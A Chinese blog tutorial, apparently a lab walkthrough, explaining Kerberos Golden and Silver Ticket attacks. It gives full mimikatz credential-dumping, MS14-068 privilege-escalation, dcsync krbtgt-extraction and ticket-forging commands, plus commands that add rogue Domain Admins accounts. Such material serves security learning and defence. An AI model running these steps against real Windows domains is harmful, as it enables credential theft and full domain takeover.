Skip to main content

黄金票据和白银票据攻击及其原理介绍 - 简书

本文由 简悦 SimpRead 转码, 原文地址 www.jianshu.com

票据传递攻击

这里介绍域内常用的两种攻击方式:黄金票据 Golden ticket、白银票据 SILVER TICKET

另外,学习过 Kerberos 认证过程的同学会更加容易的理解两种票据攻击的原理,没有看过 Kerberos 认证的同学,我推荐还是去看看我之前写的 Kerberos 认证过程

相关应用

Ms14-068
PSexec
mimikatz

金票 Golden ticket

原理

在 Kerberos 认证中, Client 通过 AS(身份认证服务) 认证后, AS 会给 Client 一个
Logon Session Key 和 TGT, 而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的 NTLM Hash 又是固定的, 所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后, 就跳过 AS 验证, 不用验证账户和密码, 所以也不担心域管密码修改。

特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

具体操作介绍

一、伪造凭据,提升域内普通用户的权限

我们现在以一个本地 administrator 用户登录域内的一个主机中。

通过命令:net config workstation, 可知域名为:cyberpeace 和其他信息。

通过命令:nltest /dsgetdc: 域名, 可知 DC 主机名为:scene。

上传 mimikatz, 以管理员权限运行 CMD, 再去执行 mimikatz:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打开生成的 log.txt 可以看到有一个域内用户devuser, 且密码是HOTdev123456

使用用户 devuser 登录到域内, whoami 查看下当前用户为 devuser:

这里利用 MS14-068 来提权, 先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324, 补丁为 3011780 : systeminfo |find "3011780", 如果返回为空就说明没有打补丁, 存在漏洞, 需要注意的是域内普通用户提权成功后是有时效性的。

执行:dir \scene.cyberpeace.com\c$,提醒权限不够:

上传 mimikatz 和 MS14-068 提权工具,whoami /user或者whoami/all查看 devuser 用户的 suid:

使用 MS14-068 伪造票据:
执行命令:C:\MS14-068>MS14-068.exe -u devuser@cyberpeace.com -p HOTdev123456 -s S-1-5-21-9 7341123-1865264218-933115267-1108 -d scene.cyberpeace.com,会在当前目录下生成一个凭证。

使用方法:

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址 


使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:

mimikatz # kerberos::purge  //清空票据
mimikatz # kerberos::ptc 票据文件地址


再输入dir \\scene.cyberpeace.com\c$,发现访问成功,现在我们有域管的权限:

添加域管用户 aaa:

net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain


二、伪造金票

伪造金票的所需条件
1、域名称
2、域的 SID 值
3、域的 KRBTGT 账号的 HASH
4、伪造任意用户名

登录 aaa 域管用户,执行whoami可以看到是 aaa 用户:

使用一下命令导出用户 krbtgt 的 hash:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt


再执行以下命令可以看到 krbtgt 用户的 SID:

利用 mimikatz 生成金票生成. kirbi 文件并保存:

mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!


三,金票的使用 (普通域账户,利用黄金票据,创建域管账户)

登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。

mimikatz # kerberos::purge         
mimikatz # kerberos::ptt ticket.kirbi


此时尝试创建一个 ccc 的域管账号,命令执行成功:

银票 SILVER TICKET

原理

如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST。
在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后, 通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3, 进而验证对方的身份, 验证成功就让 Client 访问 server 上的指定服务了。
所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用。

特点

  1. 不需要与 KDC 进行交互 2. 需要 server 的 NTLM hash

具体操作介绍

一、伪造凭据,提升域内普通用户的权限

我们现在以一个本地 administrator 用户登录域内的一个主机中。

通过命令:net config workstation, 可知域名为:cyberpeace 和其他信息

通过命令:nltest /dsgetdc: 域名, 可知 DC 主机名为:scene。

上传 mimikatz, 以管理员权限运行 CMD, 再去执行 mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打开生成的 log.txt 可以看到有一个域内用户Hellen, 且密码是Hellen1818

使用用户 Hellen 登录到域内, whoami 查看下当前用户为 Hellen:

同样先检查下是否有 MS14-068 漏洞

执行:dir \scene.cyberpeace.com\c$,提醒权限不够:

上传 mimikatz 和 MS14-068 提权工具,whoami /user或者whoami/all查看 devuser 用户的 suid:

使用 MS14-068 伪造票据:
执行命令:MS14-068.exe -u Hellen@cyberpeace.com -p Hellen1818 -s S-1-5-21-2718660907-658632824-2072795563-1110 -d DomainControl.cyberpeace.com,会在当前目录下生成一个凭证。

使用方法:

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:

mimikatz # kerberos::purge  //清空票据
mimikatz # kerberos::ptc 票据文件地址


再输入dir \\scene.cyberpeace.com\c$,发现访问成功,现在我们有域管的权限:

添加域管用户 ccc:

net user ccc Qwe1234/add /domain
net group "Domain Admins" cccc /add /domain


二、伪造银票

登录上面创建的域管用户,用管理员权限打开 CMD,cd 到 mimikatz 存放的目录,去执行 mimikatz 的命令,得到 SID 和 NTLM,

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

把 HASH 文件保存到本地,在重新登录到域内机器的本地账户,将 hash 文件和 mimikatz 复制进去:
先使用 mimikatz 清空票据,再导入伪造的票据, 具体伪造票据的命令:

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt


使用方法:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为我们没有 TGT 去不断申请 ticket,所以只能针对某一些服务来进行伪造

测试一下,成功执行dir \\scene.cyberpeace.com\c$ , 并且可以创建域管账号:

金票和银票的区别

获取的权限不同

金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS

认证流程不同

金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server

加密方式不同

金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

至此,金银票据的介绍就结束了,谢谢观看,若有疑问请留言,若有错误请指教。

推荐我的另一篇内网渗透的文章:内网渗透

大佬随手给个赞呗 0.0